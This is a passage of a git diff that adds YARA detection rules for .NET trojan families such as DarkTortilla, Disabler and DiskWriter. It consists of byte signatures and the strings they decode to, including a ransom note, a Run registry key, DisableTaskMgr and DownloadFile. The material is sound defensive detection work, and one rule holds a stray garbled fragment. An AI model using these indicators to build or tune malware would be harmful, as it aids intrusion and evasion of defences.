"Trojan:BAT/DarkTortilla.MOZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_01_0 = {04 1e 5d 2c 03 03 2b 07 03 20 e2 00 00 00 61 b4 0a 2b 00 06 2a } //5 + $a_03_1 = {11 06 17 d6 13 06 11 08 14 17 8d 03 00 00 01 25 16 07 a2 6f ?? 00 00 0a 28 ?? 00 00 0a 13 09 11 09 74 43 00 00 01 13 0a 11 0a 6f ?? 00 00 0a 1f 18 9a 13 05 } //4 + condition: + ((#a_01_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MPV_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MPV_MTB.yar new file mode 100644 index 0000000000..a6da44a367 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MPV_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_MPV_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.MPV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {09 74 3a 00 00 01 08 74 02 01 00 01 1f 20 6f ?? 03 00 0a 6f ?? 03 00 0a 09 75 3a 00 00 01 08 74 02 01 00 01 1f 10 6f 55 03 00 0a 6f 19 03 00 0a 19 13 0c 2b a8 09 75 3a 00 00 01 09 75 3a 00 00 01 6f ?? 03 00 0a 09 74 3a 00 00 01 6f ?? 03 00 0a 6f ?? 03 00 0a 13 04 16 13 0c 2b 80 } //5 + $a_03_1 = {11 07 75 03 01 00 01 02 16 02 8e 69 6f ?? 03 00 0a 11 07 74 03 01 00 01 6f ?? 03 00 0a 1b 13 10 2b bf } //4 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MSZ_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MSZ_MTB.yar new file mode 100644 index 0000000000..020c74b5d2 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MSZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_MSZ_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.MSZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {1f 09 0b 04 03 07 5d 9a 28 ?? 01 00 0a 02 28 ?? 00 00 06 28 ?? 01 00 0a 0a 2b 00 06 2a } //5 + $a_01_1 = {02 03 66 5f 02 66 03 5f 60 8c 66 00 00 01 0a 2b 00 06 } //4 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MTS_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MTS_MTB.yar new file mode 100644 index 0000000000..f1ee242a60 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MTS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_MTS_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.MTS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {07 20 80 00 00 00 6f ?? 00 00 0a 00 07 20 80 00 00 00 6f ?? 00 00 0a 00 07 19 6f ?? 00 00 0a 00 07 03 6f ?? 00 00 0a 00 07 03 6f ?? 00 00 0a 00 00 07 6f ?? 00 00 0a 0c 02 73 92 00 00 0a 0d 09 08 16 73 93 00 00 0a 13 04 11 04 73 94 00 00 0a 13 05 11 05 02 8e 69 6f ?? 00 00 0a 0a de 52 00 11 05 2c 08 11 05 6f ?? 00 00 0a 00 dc } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MZL_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MZL_MTB.yar new file mode 100644 index 0000000000..b4efa4b455 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MZL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_MZL_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.MZL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {1f 09 13 06 2b bd 02 28 ?? ?? 00 0a 28 ?? 00 00 2b 28 ?? 00 00 2b 0b 07 75 0d 00 00 1b 8e 69 17 da 0c 1b 13 06 2b 9c 16 0d 17 13 06 2b 95 07 74 0d 00 00 1b 09 91 16 fe 01 13 04 11 04 2c 08 } //5 + $a_01_1 = {07 75 0d 00 00 1b 0a 06 75 0d 00 00 1b 7e 86 00 00 04 1f 65 7e 86 00 00 04 1f 65 91 7e 13 01 00 04 1f 11 93 59 1f 7a 5f 9c 2a } //4 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MZV_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MZV_MTB.yar new file mode 100644 index 0000000000..be784ea073 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MZV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_MZV_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.MZV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {13 0b 11 0b 45 07 00 00 00 5d 00 00 00 5d 00 00 00 00 00 00 00 35 00 00 00 00 00 00 00 35 00 00 00 00 00 00 00 09 75 27 00 00 01 08 74 02 01 00 01 1f 20 6f ?? 03 00 0a 6f ?? 03 00 0a 09 75 27 00 00 01 08 74 02 01 00 01 1f 10 6f ?? 03 00 0a 6f ?? 03 00 0a 1b 13 0b 2b a8 09 75 27 00 00 01 09 74 27 00 00 01 6f ?? 03 00 0a 09 74 27 00 00 01 6f ?? 03 00 0a 6f ?? 03 00 0a 13 04 17 13 0b 2b 80 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_SL_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_SL_MTB.yar new file mode 100644 index 0000000000..ebef8d2d1f --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_SL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_SL_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.SL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 06 11 0c 11 0e 11 0c 6c 11 0e 6c 28 06 01 00 0a 11 0c 11 0e d6 17 d6 6c 5b 28 07 01 00 0a 11 0e 17 d6 13 0e 11 0e 11 0d 31 d5 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_TQD_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_TQD_MTB.yar new file mode 100644 index 0000000000..f5ecdb7d07 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_TQD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_TQD_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.TQD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {13 06 2b 28 11 06 6f ?? 01 00 0a 28 ?? 00 00 0a 13 07 07 11 07 28 ?? 00 00 0a 03 28 ?? 01 00 06 b4 6f ?? 01 00 0a 00 08 17 d6 0c 00 11 06 6f ?? 01 00 0a 13 08 11 08 2d cb } //5 + $a_01_1 = {02 03 61 0b 07 0a 2b 00 06 2a } //4 ̂ୡਇ+⨆ + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_WQ_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_WQ_MTB.yar new file mode 100644 index 0000000000..c9d39b951e --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_WQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_WQ_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.WQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 05 1e 5d 16 fe 01 13 06 11 06 2c 0f 02 11 05 02 11 05 91 ?? ?? ?? ?? ?? 61 b4 9c 11 05 17 d6 13 05 11 05 11 04 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZBT_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZBT_MTB.yar new file mode 100644 index 0000000000..04f0effd38 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZBT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_ZBT_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ZBT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_01_0 = {04 1e 5d 2c 03 03 2b 07 03 20 db 00 00 00 61 b4 0a 2b 00 06 2a } //6 + $a_03_1 = {11 05 17 d6 13 05 11 07 14 72 26 09 01 70 18 8d ?? 00 00 01 25 17 17 8d ?? 00 00 01 25 16 07 a2 a2 14 14 14 28 ?? 00 00 0a 28 ?? 00 00 0a 13 08 11 08 74 ?? 00 00 01 13 09 11 09 } //5 + condition: + ((#a_01_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZGW_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZGW_MTB.yar new file mode 100644 index 0000000000..4baad8e642 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZGW_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DarkTortilla_ZGW_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ZGW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {0a 00 09 09 6f ?? 01 00 0a 09 6f ?? 01 00 0a 6f ?? 01 00 0a 13 04 00 73 ?? 01 00 0a 13 05 00 11 05 11 04 17 73 ?? 01 00 0a 13 07 11 07 02 16 02 8e 69 6f ?? 01 00 0a 00 11 07 6f ?? 01 00 0a 00 de 0e } //6 + $a_03_1 = {03 09 11 05 6f ?? 01 00 0a 13 06 02 11 06 04 28 ?? 00 00 0a 28 ?? 00 00 06 13 07 06 09 11 05 11 07 } //5 + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZJW_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZJW_MTB.yar new file mode 100644 index 0000000000..aed43dc2c8 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZJW_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_ZJW_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ZJW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_01_0 = {04 1f 09 5d 2c 03 03 2b 07 03 20 ed 00 00 00 61 b4 0a 2b 00 06 2a } //6 + $a_03_1 = {11 08 14 72 d3 71 00 70 18 8d ?? 00 00 01 25 17 17 8d ?? 00 00 01 25 16 07 a2 a2 14 14 14 28 ?? 01 00 0a 28 ?? 00 00 0a 13 09 11 09 6f ?? 02 00 0a 72 e1 71 00 70 6f ?? 02 00 0a 13 0a } //5 + condition: + ((#a_01_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZKV_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZKV_MTB.yar new file mode 100644 index 0000000000..748b1fee68 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZKV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DarkTortilla_ZKV_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ZKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {17 13 04 11 04 45 07 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 1b 00 00 00 40 00 00 00 1b 00 00 00 51 00 00 00 28 ?? 01 00 0a 0b 07 74 34 00 00 01 14 fe 03 0c 08 2c 05 19 13 04 2b c5 1c 2b f9 07 74 34 00 00 01 7e 6c 00 00 04 6f 3b 01 00 0a 07 75 34 00 00 01 7e 6c 00 00 04 6f ?? 01 00 0a 1a 13 04 2b 9d } //5 + $a_03_1 = {02 7b 83 00 00 04 6f ?? 01 00 0a 0a 06 75 37 00 00 01 2a } //4 + $a_03_2 = {02 03 16 03 8e 69 6f ?? 01 00 0a 02 6f ?? 01 00 0a 1a 0b 2b d1 } //3 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*4+(#a_03_2 & 1)*3) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZLT_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZLT_MTB.yar new file mode 100644 index 0000000000..00ae240c21 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZLT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_ZLT_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ZLT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {09 14 72 c3 47 00 70 16 8d 06 00 00 01 14 14 14 28 ?? 00 00 0a 28 3e 00 00 0a 13 05 11 04 11 05 28 60 01 00 0a 6f ?? 01 00 0a 00 11 0c 11 0b 12 0c 28 ?? 01 00 0a 13 0e 11 0e 2d c4 11 04 6f ?? 01 00 0a 0b 2b 00 07 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZMU_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZMU_MTB.yar new file mode 100644 index 0000000000..a234578c3b --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZMU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_ZMU_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ZMU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {26 1f 0b 13 06 2b bd 02 28 ?? 01 00 0a 28 ?? 00 00 2b 28 ?? 00 00 2b 0b 07 75 0d 00 00 1b 8e 69 17 da 0c 19 13 06 2b 9c 16 0d 1a 13 06 2b 95 07 75 0d 00 00 1b 09 91 16 fe 01 13 04 11 04 2c 08 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZRT_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZRT_MTB.yar new file mode 100644 index 0000000000..49e0906737 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZRT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_ZRT_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ZRT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {07 20 80 00 00 00 6f ?? 01 00 0a 00 07 20 80 00 00 00 6f ?? 01 00 0a 00 07 19 6f ?? 01 00 0a 00 07 03 6f ?? 01 00 0a 00 07 03 6f ?? 01 00 0a 00 00 07 6f ?? 01 00 0a 0c 02 73 6c 01 00 0a 0d 09 08 16 73 6d 01 00 0a 13 04 11 04 73 6e 01 00 0a 13 05 11 05 02 8e 69 6f 6f 01 00 0a 0a de 52 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZUS_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZUS_MTB.yar new file mode 100644 index 0000000000..b8398b7594 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZUS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_ZUS_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ZUS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_01_0 = {04 1f 09 5d 2c 03 03 2b 07 03 20 f1 00 00 00 61 b4 0a 2b 00 06 2a } //6 + $a_03_1 = {7a 00 06 7e ?? 00 00 04 2c 07 7e ?? 00 00 04 2b 16 7e ?? 00 00 04 fe 06 69 00 00 06 73 ?? 00 00 0a 25 80 ?? 00 00 04 28 ?? 00 00 2b 28 ?? 00 00 2b 0b } //5 + condition: + ((#a_01_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZWV_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZWV_MTB.yar new file mode 100644 index 0000000000..5961a42c62 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ZWV_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_ZWV_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ZWV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {14 0a 2b 50 1f 10 8d ?? 00 00 01 25 d0 ?? 00 00 04 28 ?? 01 00 0a 0b 00 73 ?? 01 00 0a 0d 09 07 28 ?? 01 00 06 00 00 09 6f ?? 01 00 0a 13 04 11 04 02 28 ?? 01 00 06 0a de 1a 00 11 04 2c 08 } //10 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_Darktortilla_ZUU_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_Darktortilla_ZUU_MTB.yar new file mode 100644 index 0000000000..beb26727f1 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_Darktortilla_ZUU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Darktortilla_ZUU_MTB{ + meta: + description = "Trojan:BAT/Darktortilla.ZUU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {0c 00 08 07 28 ?? 01 00 06 0d 09 02 28 ?? 01 00 06 00 08 6f ?? 00 00 0a 0a de 24 00 09 2c 07 09 6f ?? 00 00 0a 00 dc 00 08 2c 07 08 } //6 + $a_03_1 = {a2 02 03 17 da 9a 28 ?? 00 00 0a 28 ?? 00 00 06 0a 02 03 1c da 06 a2 02 03 1d da 06 6f ?? 01 00 0a 1f 18 9a a2 02 03 1d da 9a } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Davinci/Trojan_BAT_DaVinci_MBZ_MTB.yar b/Trojan/BAT/Davinci/Trojan_BAT_DaVinci_MBZ_MTB.yar new file mode 100644 index 0000000000..9027ce75e0 --- /dev/null +++ b/Trojan/BAT/Davinci/Trojan_BAT_DaVinci_MBZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DaVinci_MBZ_MTB{ + meta: + description = "Trojan:BAT/DaVinci.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {6e 00 65 00 74 00 2e 00 61 00 6c 00 70 00 68 00 61 00 00 13 67 00 68 00 6f 00 73 00 74 00 2e 00 64 00 6c 00 6c 00 00 17 70 00 68 00 61 00 6e 00 74 00 6f 00 6d 00 2e 00 65 00 78 } //2 + $a_01_1 = {44 6f 41 6e 43 61 4e 68 61 6e } //1 DoAnCaNhan + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Dcstl/Trojan_BAT_Dcstl_ASKA_MTB.yar b/Trojan/BAT/Dcstl/Trojan_BAT_Dcstl_ASKA_MTB.yar new file mode 100644 index 0000000000..0f1b717435 --- /dev/null +++ b/Trojan/BAT/Dcstl/Trojan_BAT_Dcstl_ASKA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Dcstl_ASKA_MTB{ + meta: + description = "Trojan:BAT/Dcstl.ASKA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_03_0 = {0a 0a 06 20 00 01 00 00 6f ?? 00 00 0a 06 20 00 01 00 00 6f ?? 00 00 0a 06 72 15 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 06 72 6f 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 06 06 6f ?? 00 00 0a 06 6f ?? 00 00 0a 6f ?? 00 00 0a 0b } //3 + $a_03_1 = {08 11 05 16 11 06 6f ?? 00 00 0a 11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 06 16 3d } //2 + $a_01_2 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_3 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/DeepSea/Trojan_BAT_DeepSea_MCF_MTB.yar b/Trojan/BAT/DeepSea/Trojan_BAT_DeepSea_MCF_MTB.yar new file mode 100644 index 0000000000..2e5832a422 --- /dev/null +++ b/Trojan/BAT/DeepSea/Trojan_BAT_DeepSea_MCF_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DeepSea_MCF_MTB{ + meta: + description = "Trojan:BAT/DeepSea.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {34 64 30 35 2d 61 32 35 34 2d 34 32 30 35 36 35 62 30 35 66 32 31 } //1 4d05-a254-420565b05f21 + $a_01_1 = {54 00 65 00 74 00 72 00 69 00 73 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 } //1 + $a_01_2 = {57 bf b6 29 09 1e 00 00 00 fa 01 33 00 16 00 00 01 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Disabler/Trojan_BAT_Disabler_ND_MTB.yar b/Trojan/BAT/Disabler/Trojan_BAT_Disabler_ND_MTB.yar new file mode 100644 index 0000000000..ea6b4e9c56 --- /dev/null +++ b/Trojan/BAT/Disabler/Trojan_BAT_Disabler_ND_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_BAT_Disabler_ND_MTB{ + meta: + description = "Trojan:BAT/Disabler.ND!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 00 " + + strings : + $a_01_0 = {59 00 6f 00 75 00 20 00 77 00 65 00 72 00 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 62 00 79 00 20 00 43 00 6c 00 75 00 74 00 74 00 65 00 72 00 2c 00 20 00 67 00 6f 00 6f 00 64 00 20 00 6c 00 75 00 63 00 6b 00 2e 00 2e 00 2e 00 } //3 You were encrypted by Clutter, good luck... + $a_01_1 = {77 00 6f 00 72 00 6d 00 5f 00 74 00 6f 00 6f 00 6c 00 2e 00 73 00 79 00 73 00 } //2 worm_tool.sys + $a_01_2 = {6d 00 69 00 6e 00 65 00 63 00 72 00 61 00 66 00 74 00 5f 00 63 00 68 00 65 00 61 00 74 00 73 00 5f 00 32 00 30 00 32 00 30 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 } //1 minecraft_cheats_2020.Properties.Resources + $a_01_3 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + $a_01_4 = {72 00 61 00 6e 00 73 00 6f 00 6d 00 5f 00 76 00 6f 00 69 00 63 00 65 00 2e 00 76 00 62 00 73 00 } //2 ransom_voice.vbs + $a_01_5 = {44 6f 77 6e 6c 6f 61 64 46 69 6c 65 } //1 DownloadFile + $a_01_6 = {77 00 6f 00 72 00 6d 00 5f 00 6c 00 6f 00 63 00 6b 00 65 00 72 00 } //1 worm_locker + $a_01_7 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 } //1 DisableTaskMgr + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Disabler/Trojan_BAT_Disabler_NITA_MTB.yar b/Trojan/BAT/Disabler/Trojan_BAT_Disabler_NITA_MTB.yar new file mode 100644 index 0000000000..d81f1a0c7b --- /dev/null +++ b/Trojan/BAT/Disabler/Trojan_BAT_Disabler_NITA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Disabler_NITA_MTB{ + meta: + description = "Trojan:BAT/Disabler.NITA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {4b 69 6c 6c 5f 65 78 65 } //1 Kill_exe + $a_01_1 = {46 69 6c 65 53 68 61 72 65 57 72 69 74 65 } //1 FileShareWrite + $a_01_2 = {67 64 69 5f 70 61 79 6c 6f 61 64 } //1 gdi_payload + $a_01_3 = {66 69 6e 61 6c 5f 70 61 79 6c 6f 61 64 } //1 final_payload + $a_01_4 = {6b 69 6c 6c 5f 70 72 6f 63 65 73 73 } //1 kill_process + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DiskWriter/Trojan_BAT_DiskWriter_EAOZ_MTB.yar b/Trojan/BAT/DiskWriter/Trojan_BAT_DiskWriter_EAOZ_MTB.yar new file mode 100644 index 0000000000..33523c3243 --- /dev/null +++ b/Trojan/BAT/DiskWriter/Trojan_BAT_DiskWriter_EAOZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DiskWriter_EAOZ_MTB{ + meta: + description = "Trojan:BAT/DiskWriter.EAOZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {2b 15 06 07 02 07 ?? ?? ?? ?? ?? 20 00 01 00 00 5d d2 9c 07 17 58 0b 